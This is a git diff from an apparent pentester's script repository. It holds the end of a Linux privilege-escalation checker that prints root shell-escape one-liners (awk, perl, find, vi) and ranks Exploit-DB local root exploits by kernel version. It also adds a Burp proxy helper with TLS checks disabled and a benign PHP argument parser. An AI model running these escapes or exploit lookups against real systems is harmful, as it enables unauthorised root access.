"APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File", "results":results} + } + +otherApps = execCmd(otherApps) +printResults(otherApps) + +print "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n" + +# find the package information for the processes currently running +# under root or another super user + +procs = getAppProc["PROCS"]["results"] +pkgs = getAppProc["PKGS"]["results"] +supusers = userInfo["SUPUSERS"]["results"] +procdict = {} # dictionary to hold the processes running as super users + +for proc in procs: # loop through each process + relatedpkgs = [] # list to hold the packages related to a process + try: + for user in supusers: # loop through the known super users + if (user != "") and (user in proc): # if the process is being run by a super user + procname = proc.split(" ")[4] # grab the process name + if "/" in procname: + splitname = procname.split("/") + procname = splitname[len(splitname)-1] + for pkg in pkgs: # loop through the packages + if not len(procname) < 3: # name too short to get reliable package results + if procname in pkg: + if procname in procdict: + relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list + if pkg not in relatedpkgs: + relatedpkgs.append(pkg) # add pkg to the list + procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry + except: + pass + +for key in procdict: + print " " + key # print the process name + try: + if not procdict[key][0] == "": # only print the rest if related packages were found + print " Possible Related Packages: " + for entry in procdict[key]: + print " " + entry # print each related package + except: + pass + +# EXPLOIT ENUMERATION + +# First discover the avaialable tools +print +print "[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n" + +devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools", "results":results}} +devTools = execCmd(devTools) +printResults(devTools) + +print "[+] Related Shell Escape Sequences...\n" +escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"], "awk":["awk 'BEGIN {system(\"/bin/bash\")}'"], "perl":["perl -e 'exec \"/bin/bash\";'"], "find":["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"], "nmap":["--interactive"]} +for cmd in escapeCmd: + for result in devTools["TOOLS"]["results"]: + if cmd in result: + for item in escapeCmd[cmd]: + print " " + cmd + "-->\t" + item +print +print "[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n" + +# Now check for relevant exploits (note: this list should be updated over time; source: Exploit-DB) +# sploit format = sploit name : {minversion, maxversion, exploitdb#, language, {keywords for applicability}} -- current keywords are 'kernel', 'proc', 'pkg' (unused), and 'os' +sploits= { "2.2.x-2.4.x ptrace kmod local exploit":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"3", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.4.20 Module Loader Local Root Exploit":{"minver":"0", "maxver":"2.4.20", "exploitdb":"12", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.22 "'do_brk()'" local Root Exploit (PoC)":{"minver":"2.4.22", "maxver":"2.4.22", "exploitdb":"129", "lang":"asm", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "<= 2.4.22 (do_brk) Local Root Exploit (working)":{"minver":"0", "maxver":"2.4.22", "exploitdb":"131", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.x mremap() bound checking Root Exploit":{"minver":"2.4", "maxver":"2.4.99", "exploitdb":"145", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "<= 2.4.29-rc2 uselib() Privilege Elevation":{"minver":"0", "maxver":"2.4.29", "exploitdb":"744", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4 uselib() Privilege Elevation Exploit":{"minver":"2.4", "maxver":"2.4", "exploitdb":"778", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"895", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"926", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluez"}}, + "<= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)":{"minver":"0", "maxver":"2.6.11", "exploitdb":"1397", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit":{"minver":"0", "maxver":"99", "exploitdb":"1518", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"mysql"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2004", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2005", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2006", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2011", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "<= 2.6.17.4 (proc) Local Root Exploit":{"minver":"0", "maxver":"2.6.17.4", "exploitdb":"2013", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2031", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit":{"minver":"4.10", "maxver":"7.04", "exploitdb":"3384", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, + "Linux/Kernel 2.4/2.6 x86-64 System Call Emulation Exploit":{"minver":"2.4", "maxver":"2.6", "exploitdb":"4460", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.11.5 BLUETOOTH Stack Local Root Exploit":{"minver":"0", "maxver":"2.6.11.5", "exploitdb":"4756", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluetooth"}}, + "2.6.17 - 2.6.24.1 vmsplice Local Root Exploit":{"minver":"2.6.17", "maxver":"2.6.24.1", "exploitdb":"5092", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.23 - 2.6.24 vmsplice Local Root Exploit":{"minver":"2.6.23", "maxver":"2.6.24", "exploitdb":"5093", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, + "Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit":{"minver":"0", "maxver":"99", "exploitdb":"5720", "lang":"python", "keywords":{"loc":["os"], "val":"debian"}}, + "Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit":{"minver":"0", "maxver":"2.6.22", "exploitdb":"6851", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.29 exit_notify() Local Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.29", "exploitdb":"8369", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6 UDEV Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8478", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, + "2.6 UDEV < 141 Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8572", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, + "2.6.x ptrace_attach Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8673", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.29 ptrace_attach() Local Root Race Condition Exploit":{"minver":"2.6.29", "maxver":"2.6.29", "exploitdb":"8678", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Linux Kernel <=2.6.28.3 set_selection() UTF-8 Off By One Local Exploit":{"minver":"0", "maxver":"2.6.28.3", "exploitdb":"9083", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Test Kernel Local Root Exploit 0day":{"minver":"2.6.18", "maxver":"2.6.30", "exploitdb":"9191", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)":{"minver":"2.6.9", "maxver":"2.6.30", "exploitdb":"9208", "lang":"c", "keywords":{"loc":["pkg"], "val":"pulse"}}, + "2.x sock_sendpage() Local Ring0 Root Exploit":{"minver":"2", "maxver":"2.99", "exploitdb":"9435", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.x sock_sendpage() Local Root Exploit 2":{"minver":"2", "maxver":"2.99", "exploitdb":"9436", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9479", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit":{"minver":"2.6", "maxver":"2.6.19", "exploitdb":"9542", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 sock_sendpage() Local Root Exploit (ppc)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9545", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9574", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.19 udp_sendmsg Local Root Exploit":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9575", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 sock_sendpage() Local Root Exploit [2]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 sock_sendpage() Local Root Exploit [3]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9641", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"9844", "lang":"python", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "'pipe.c' Local Privilege Escalation Vulnerability":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"10018", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.18-20 2009 Local Root Exploit":{"minver":"2.6.18", "maxver":"2.6.20", "exploitdb":"10613", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Apache Spamassassin Milter Plugin Remote Root Command Execution":{"minver":"0", "maxver":"99", "exploitdb":"11662", "lang":"sh", "keywords":{"loc":["proc"], "val":"spamass-milter"}}, + "<= 2.6.34-rc3 ReiserFS xattr Privilege Escalation":{"minver":"0", "maxver":"2.6.34", "exploitdb":"12130", "lang":"python", "keywords":{"loc":["mnt"], "val":"reiser"}}, + "Ubuntu PAM MOTD local root":{"minver":"7", "maxver":"10.04", "exploitdb":"14339", "lang":"sh", "keywords":{"loc":["os"], "val":"ubuntu"}}, + "< 2.6.36-rc1 CAN BCM Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36", "exploitdb":"14814", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Kernel ia32syscall Emulation Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"15023", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Linux RDS Protocol Local Privilege Escalation":{"minver":"0", "maxver":"2.6.36", "exploitdb":"15285", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "<= 2.6.37 Local Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15704", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.37-rc2 ACPI custom_method Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15774", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "CAP_SYS_ADMIN to root Exploit":{"minver":"0", "maxver":"99", "exploitdb":"15916", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)":{"minver":"0", "maxver":"99", "exploitdb":"15944", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.36.2 Econet Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36.2", "exploitdb":"17787", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Sendpage Local Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"19933", "lang":"ruby", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.18/19 Privileged File Descriptor Resource Exhaustion Vulnerability":{"minver":"2.4.18", "maxver":"2.4.19", "exploitdb":"21598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (1)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22362", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (2)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22363", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Samba 2.2.8 Share Local Privilege Elevation Vulnerability":{"minver":"2.2.8", "maxver":"2.2.8", "exploitdb":"23674", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"samba"}}, + "open-time Capability file_ns_capable() - Privilege Escalation Vulnerability":{"minver":"0", "maxver":"99", "exploitdb":"25307", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "open-time Capability file_ns_capable() Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"25450", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, +} + +# variable declaration +os = sysInfo["OS"]["results"][0] +version = sysInfo["KERNEL"]["results"][0].split(" ")[2].split("-")[0] +langs = devTools["TOOLS"]["results"] +procs = getAppProc["PROCS"]["results"] +kernel = str(sysInfo["KERNEL"]["results"][0]) +mount = driveInfo["MOUNT"]["results"] +#pkgs = getAppProc["PKGS"]["results"] # currently not using packages for sploit appicability but my in future + + +# lists to hold ranked, applicable sploits +# note: this is a best-effort, basic ranking designed to help in prioritizing priv escalation exploit checks +# all applicable exploits should be checked and this function could probably use some improvement +avgprob = [] +highprob = [] + +for sploit in sploits: + lang = 0 # use to rank applicability of sploits + keyword = sploits[sploit]["keywords"]["val"] + sploitout = sploit + " || " + "http://www.exploit-db.com/exploits/" + sploits[sploit]["exploitdb"] + " || " + "Language=" + sploits[sploit]["lang"] + # first check for kernell applicability + if (version >= sploits[sploit]["minver"]) and (version <= sploits[sploit]["maxver"]): + # next check language applicability + if (sploits[sploit]["lang"] == "c") and (("gcc" in str(langs)) or ("cc" in str(langs))): + lang = 1 # language found, increase applicability score + elif sploits[sploit]["lang"] == "sh": + lang = 1 # language found, increase applicability score + elif (sploits[sploit]["lang"] in str(langs)): + lang = 1 # language found, increase applicability score + if lang == 0: + sploitout = sploitout + "**" # added mark if language not detected on system + # next check keyword matches to determine if some sploits have a higher probability of success + for loc in sploits[sploit]["keywords"]["loc"]: + if loc == "proc": + for proc in procs: + if keyword in proc: + highprob.append(sploitout) # if sploit is associated with a running process consider it a higher probability/applicability + break + break + elif loc == "os": + if (keyword in os) or (keyword in kernel): + highprob.append(sploitout) # if sploit is specifically applicable to this OS consider it a higher probability/applicability + break + elif loc == "mnt": + if keyword in mount: + highprob.append(sploitout) # if sploit is specifically applicable to a mounted file system consider it a higher probability/applicability + break + else: + avgprob.append(sploitout) # otherwise, consider average probability/applicability based only on kernel version + +print " Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!" +print + +print " The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system" +for exploit in highprob: + print " - " + exploit +print + +print " The following exploits are applicable to this kernel version and should be investigated as well" +for exploit in avgprob: + print " - " + exploit + +print +print "Finished" +print bigline diff --git a/BurpManiProxy.php b/BurpManiProxy.php new file mode 100755 index 0000000..85fe529 --- /dev/null +++ b/BurpManiProxy.php @@ -0,0 +1,39 @@ + 'okhttp/3.9.0', 'app' => 'ANDROID', 'key' => '123']; + + $variable = getdataz($target, $headers, $dataz); + echo $variable; // or do manipulation etc. + + /*** + * Leave me + */ + + function getdataz($target, $headers, $dataz){ + $ch = curl_init($target); + + curl_setopt($ch, CURLOPT_HEADER, $headers); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); + curl_setopt($ch, CURLOPT_POSTFIELDS,$dataz); + curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:8080'); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + + $result = curl_exec($ch); + curl_close($ch); + + return $result; + } +} + +?> \ No newline at end of file diff --git a/README.md b/README.md index 94d2610..16d5f1c 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,9 @@ -DirtyScripts -=============== +This repo comes as-is!! + +It is just a dump of stuff, maybe useful, probably not. + +Without warranty or documentation. + +If you can't read the code then this isn't for you. + +Please do not ask for help regarding anything here, you will be ignored \ No newline at end of file diff --git a/ReportToolz/README.md b/ReportToolz/README.md new file mode 100644 index 0000000..6e0e95c --- /dev/null +++ b/ReportToolz/README.md @@ -0,0 +1,29 @@ +``` +╰» ./rep2.php -d "/mnt/hgfs/Pentest/pentests/2019/Precise/J34562.6 Company Web Application Technical Report 1.1.odt" +_____ _____ _____ 2 +||_// ||== ||_// +|| \ ||___ || + +[!] doc: /mnt/hgfs/Pentest/pentests/2019/Company/J12345.6 Company Web Application Technical Report 1.1.odt +[+] doc extracted +[=] fonts found: 23 +[+] vulnerabilities identified +[+] temp files removed +[+] created directory /mnt/hgfs/Pentest/pentests/2019/Company/rep2/ +[+] medium issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] low issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] all issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_all.csv +[+] remediation table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/remediation.csv +[+] OWASP table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/owasp.csv +[=] Serious = 0, High = 0, Medium = 4, Low = 3 + +Ref | Title | Risk | CVSS | Remediation | OWASP +-------|-----------------------------------|--------|--------|---------------|------------------------------ +5.1.1 |Missing Security Headers |Medium |5.1 |Configuration |A6 Security Misconfiguration +5.1.2 |Insecure SSL Certificate Detected |Medium |4.8 |Configuration |A6 Security Misconfiguration +5.1.3 |Missing Cookie Attributes |Medium |4.7 |Configuration |A6 Security Misconfiguration +5.1.4 |jQuery Vulnerabilities |Medium |4.3 |Configuration |A9 Components with Known Vulne +5.2.1 |Software Version Numbers Disclosed |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.2 |Verbose Error Reporting Enabled |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.3 |Wildcard SSL Certificate |Low |3.7 |Configuration |A6 Security Misconfiguration +``` \ No newline at end of file diff --git a/ReportToolz/classes/CommandArgumentFilter.php b/ReportToolz/classes/CommandArgumentFilter.php new file mode 100644 index 0000000..1ffa45e --- /dev/null +++ b/ReportToolz/classes/CommandArgumentFilter.php @@ -0,0 +1,343 @@ + + */ + +namespace Clapp; + +/** + * Filters an array and extracts and validates command line arguments + * + * @author Patrick Forget + */ +class CommandArgumentFilter +{ + /** + * Command line arguments + * @var array + */ + private $arguments = array(); + + /** + * Definition of allowed parameters + * @var \Clapp\CommandLineArgumentDefinition + */ + private $definitions = null; + + /** + * Flag if arguments have been parsed in to params + * @var boolean + */ + private $parsed = false; + + /** + * Parsed params + * @var array + */ + private $params = array(); + + /** + * Trailing values + * @var string + */ + private $trailingValues = ""; + + /** + * program name + * @var string + */ + private $programName = ""; + + /** + * class constructor + * + * @author Patrick Forget + * + * @param \Clapp\CommandLineDefinition $definitions contains list of allowed parameters + * @param array $args list of arguments to filter. + */ + public function __construct(\Clapp\CommandLineArgumentDefinition $definitions, $args) + { + if (is_array($args)) { + $this->arguments = $args; + } //if + + $this->definitions = $definitions; + } // __construct() + + /** + * returns parameter matching provided name + * + * @author Patrick Forget + * + * @param string name of the paramter to retreive + * + * @return mixed if param the param appears only once the method will + * return 1 if the parameter doesn't take a value. The specified value + * for that param will returned if it does take value. + * + * If many occurence of the param appear the number of occurences will + * be returned for params that do not take values. An array of values + * will be returned for the parameters that do take values. + * + * If the parameter is not present null if it takes a value and false if + * it's not present and doesn't allow values + */ + public function getParam($name) + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + $longName = strlen($name) === 1 ? $this->definitions->getLongName($name) : $name; + if (isset($this->params[$longName])) { + return $this->params[$longName]; + } else { + if ($this->definitions->allowsValue($longName)) { + return null; + } else { + return false; + } //if + } //if + + } // getParam() + + /** + * retreive the program name + * + * @author Patrick Forget + */ + public function getProgramName() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->programName; + } // getProgramName() + + /** + * retreive the trailing values + * + * @author Patrick Forget + */ + public function getTrailingValues() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->trailingValues; + } // getTrailingValues() + + /** + * extracts params from arguments + * + * @author Patrick Forget + */ + protected function parseParams() + { + + $argumentStack = $this->arguments; + + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $trailingValues = ""; + $endOfDashedArguments = false; + $addParam = false; + $argumentsLeft = sizeof($argumentStack); + $multiShortParams = array(); + + $this->programName = array_shift($argumentStack); // remove first argument which is the program name + + while ($currentArgument = array_shift($argumentStack)) { + $argumentsLeft--; + $currentArgumentLength = strlen($currentArgument); + + // arguments that don't start with a dash + if (substr($currentArgument, 0, 1) !== '-') { + if ($expectingValue) { + $currentValue = $currentArgument; + $addParam = true; + } else { + $trailingValues .= " ". $currentArgument; + $endOfDashedArguments = true; + } //if + + // double dash detected + } elseif (substr($currentArgument, 1, 1) === '-') { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* stop parsing arguments if double dash + only param is encountered */ + if ($currentArgumentLength == 2) { + if ($trailingValues !== "") { + throw new \UnexpectedValueException("Trailing values must appear after double dash"); + } //if + + $trailingValues = " ". implode(" ", $argumentStack); + $argumentStack = array(); + $endOfDashedArguments = true; + break; + } //if + + $longNameParts = explode("=", substr($currentArgument, 2), 2); + + $currentLongName = $longNameParts[0]; + + if (sizeof($longNameParts) > 1) { + $currentValue = $longNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + // single dash + } else { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + $shortNameParts = explode("=", substr($currentArgument, 1), 2); + + $shortName = $shortNameParts[0]; + + if (strlen($shortName) <= 1) { + $currentLongName = $this->definitions->getLongName($shortName); + + if ($currentLongName === null) { + throw new \InvalidArgumentException("Unable to find name with ". + "provided parameter ({$shortName})"); + } //if + + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } else { + $multiShortParams = str_split($shortName); + + /* process the last one (which is the only one that can have a value) */ + $lastParam = array_pop($multiShortParams); + $currentLongName = $this->definitions->getLongName($lastParam); + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($lastParam)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } //if + + } //if + + if ($addParam) { + if ($endOfDashedArguments) { + throw new \UnexpectedValueException("Unexpected argument after undashed values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName === false || $currentLongName === null) { + throw new \UnexpectedValueException("Missing argument name"); + } //if + // @codeCoverageIgnoreEnd + + if (!$this->definitions->paramExists($currentLongName)) { + throw new \InvalidArgumentException("Invalid argument name"); + } //if + + $allowsMultiple = $this->definitions->allowsMultiple($currentLongName); + $allowsValue = $this->definitions->allowsValue($currentLongName); + + if (isset($this->params[$currentLongName]) && !$allowsMultiple) { + throw new \UnexpectedValueException("Multiple instace of parameter {$currentLongName} not allowed"); + } //if + + if ($allowsValue) { + /* Missing values should always be detected before addParam is true */ + // @codeCoverageIgnoreStart + if ($currentValue === null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + // @codeCoverageIgnoreEnd + + } elseif ($currentValue !== null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} does not accept values"); + + } else { + $currentValue = true; + } //if + + if ($allowsMultiple) { + if ($allowsValue) { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = array(); + } //if + + $this->params[$currentLongName][] = $currentValue; + + } else { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = 0; + } //if + + $this->params[$currentLongName]++; + + } //if + + } else { + $this->params[$currentLongName] = $currentValue; + } //if + + foreach ($multiShortParams as $shortName) { + $argumentStack[] = "-{$shortName}"; + $argumentsLeft++; + } //foreach + + /* reset stuff for next param */ + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $addParam = false; + $multiShortParams = array(); + + } //if + + } //while + + if ($expectingValue !== false) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName !== null || + $addParam !== false || + $currentValue !== null || + sizeof($multiShortParams) !== 0) { + throw new \UnexpectedValueException("Unable to process some parameters"); + } //if + // @codeCoverageIgnoreEnd + + if ($trailingValues !== "") { + $this->trailingValues = substr($trailingValues, 1); // remove extra space at the begging + } //if + + $this->parsed = true; + } // parseParams() +} diff --git a/ReportToolz/classes/CommandLineArgumentDefinition.php b/ReportToolz/classes/CommandLineArgumentDefinition.php new file mode 100644 index 0000000..2b2e8fa --- /dev/null +++ b/ReportToolz/classes/CommandLineArgumentDefinition.php @@ -0,0 +1,389 @@ + + */ + +namespace Clapp; + +/** + * Defines list and formats of command line arguments + * + * @author Patrick Forget + */ +class CommandLineArgumentDefinition +{ + + /** + * @var array + */ + private $definitions = array(); + + /** + * long names as keys and array of properties as values + * + * properties are as follows + * * string "shortName" one letter char to the corresponding short name + * * boolean "isMultipleAllowed" true if mutliple instances of the param are allowed + * * mixed "parameterType" false if paramters are not alloweda value, + * otherwise a string with the value "integer" or "string" + * * string "description" description of the parameter + * @var array + */ + private $longNames = array(); + + /** + * list of short names as keys and their long name equivalent as values + * @var array + */ + private $shortNames = array(); + + /** + * Flag if arguments have been parsed in to params + * @var boolean + */ + private $isParsed = false; + + /** + * class constructor + * + * @author Patrick Forget + * + * @param array $definitions contains list of allowed parameters + * the key is the long name of the parameter followed by a pipe (|) + * then a single character specifying the short name. + * + * If the parameter allows for arguments then an equal sign (=) + * follows and then the type of paramter. + * + * Allowed types are either i, int or integer for integer types + * and s, str or string for string types. + * + * If a parameter can appear more than once the last character of + * the key should be a plus character (+). + * + * The value of the entry is the definition of what the paramter + * does. + */ + public function __construct($definitions) + { + if (is_array($definitions)) { + $this->definitions = $definitions; + } //if + } // __construct() + + /** + * checks if parameter is allowed + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean true if definition exisits, false otherwise + */ + public function paramExists($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (strlen($name) == 1) { + return isset($this->shortNames[$name]); + } else { + return isset($this->longNames[$name]); + } //if + } // paramExists($name) + + + /** + * checks if parameter allows a value if so what type + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean|string false doesn't allow value, The value "string" or "integer" depending which type it allows + */ + public function allowsValue($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['parameterType'] !== false ? true : false; + } else { + return false; + } //if + } // allowsValue() + + /** + * returns the type of value allowed + * + * @author Patrick Forget + */ + public function getValueType($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName]['parameterType']) + && $this->longNames[$longName]['parameterType'] !== false) { + return $this->longNames[$longName]['parameterType']; + } else { + return ''; + } //if + } // getValueType() + + + /** + * checks if pamultiple instance of parameter are allowed + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean false if parameter doesn't allow multiple values, true if it does + */ + public function allowsMultiple($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['isMultipleAllowed']; + } else { + return false; + } //if + } // allowsMultiple() + + /** + * retreive short name 